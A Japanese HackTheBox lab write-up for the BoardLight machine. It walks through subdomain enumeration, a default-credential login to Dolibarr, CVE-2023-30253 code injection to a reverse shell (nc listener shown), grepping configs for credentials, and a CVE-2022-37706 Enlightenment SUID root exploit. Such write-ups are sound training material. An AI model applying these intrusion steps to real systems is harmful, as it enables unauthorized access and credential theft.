はじめに
本記事はHackTheBoxのWriteupです。
Machineは、BoardLightです。
BoardLightでは、DolibarrやEnlightenmentの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 22:10 JST
Nmap scan report for board.htb (10.10.11.11)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.07 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ブラウザからIPアドレスにアクセスすると、以下の様な画面が表示されます。
調査した結果ドメインはboard.htb
と思われるため、hostsファイルを編集します。
サブドメイン
BoardLightは、サイバー脅威からビジネスを保護する最先端のセキュリティソリューションの提供を専門とする架空のサイバーセキュリティコンサルティング会社です。
トップページでは特に気になる点は見当たらなかったので、引き続きffuwを用いてサブドメインの列挙を行います。レスポンス結果を踏まえて、レスポンスサイズの値は全て15949になっているため、-fs
オプションを使用して除外します。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -c -fs 0,15949
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 308ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:38] :: Errors: 0 ::
crmのサブドメインを検出したのでアクセスすると、別のページが確認できました。
確認した結果、Dolibarrと呼ばれるオープンソースで開発されたERPとCRMの機能を持つソフトウェアパッケージでした。
脆弱性分析
足場を作るために利用可能な脆弱性を探します。
Dolibarr
ユーザー名はadmin、パスワードにadminを入力してログインすると、以下の様な画面が表示されます。
画面を確認したところ、一部の機能は制限がかかっているため、アクセスできません。
バージョン情報を基に脆弱性を調査すると、イタリアのサイバーセキュリティ企業であるSwascan社のSecurity Advisory: Dolibarr 17.0.0 PHP Code Injection (CVE-2023-30253)の記事を発見しました。(※本記事執筆時点で日本のNWからだとアクセスできないため、VPNを用いて海外経由でアクセスしています)
脆弱性はCVE-2023-30253です。CMS ウェブサイト プラグイン (コア) が有効になっているDolibarr 17.0.0 では、認証された攻撃者がアプリケーションの制限を回避してPHPコードインジェクションを介してリモートコマンドを実行できます。
システムハッキング
アクセスの獲得を行うために、足場となる入り口を探します。
アクセスの獲得
適当にWebサイトを作成して、リバースコードを仕込みます。
リバースシェルを取得するリスナーは事前に用意しておきます。
$ nc -lnvp 4444
ペイロードが実行されることで、リバースシェルが取得できます。
listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.11] 45836
bash: cannot set terminal process group (920): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$
リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
</bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ^Z
[1]+ 停止 nc -lnvp 4444
┌──(kali㉿kali)-[~]
└──$ stty raw -echo; fg
nc -lnvp 4444
export TERM=xterm
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ export SHELL=bash
ユーザーフラグ
/home
配下のディレクトリを確認すると、larissaユーザーが確認できます。
total 4
drwxr-x--- 16 larissa larissa 4096 Jun 14 06:26 larissa
larissaユーザーの認証情報を探します。
調査を続けると、www-dataユーザーのhtdocsディレクトリ配下にconfディレクトリを見つけました。
ls -l conf
total 44
-rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old
以下の様なコマンドを実行して、認証情報を探します。
grep -r password ./conf/
./conf/conf.php.old:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.old:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.old:// $dolibarr_main_authentication='dolibarr'; // Use the password defined into application on user file (default).
./conf/conf.php.old:// $dolibarr_main_authentication='ldap'; // Check the password into a LDAP server
./conf/conf.php.example:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.example:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.example:// $dolibarr_main_authentication='dolibarr'; // Use the password defined into application on user file (default).
./conf/conf.php.example:// $dolibarr_main_authentication='ldap'; // Check the password into a LDAP server
探索を続けると、パスワードを発見しました。
./conf/conf.php:$dolibarr_main_db_pass='*****************';
ユーザー名はlarissa、パスワードは上記で発見したパスワードを用いてsshログインすると、ユーザーフラグを取得できます。
ルートフラグ
結論としては、CVE-2022-37706の脆弱性を利用します。
CVE-2022-37706は、ウィンドウマネージャーのEnlightenmentの脆弱性として、ローカル権限を悪用します。
検索で発見した以下エクスプロイトを実行することで、ルートに昇格できました。
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
脆弱性の発見するためのアプローチは、以下の様なSUIDのファイルを検索するか、linpeas.shなどのツールを使用することで、発見できます。
$ find / -perm -4000 2> /dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
- linpeas.shの出力例
おわりに
脆弱性の発見の仕方について学ぶことができるMachineでした。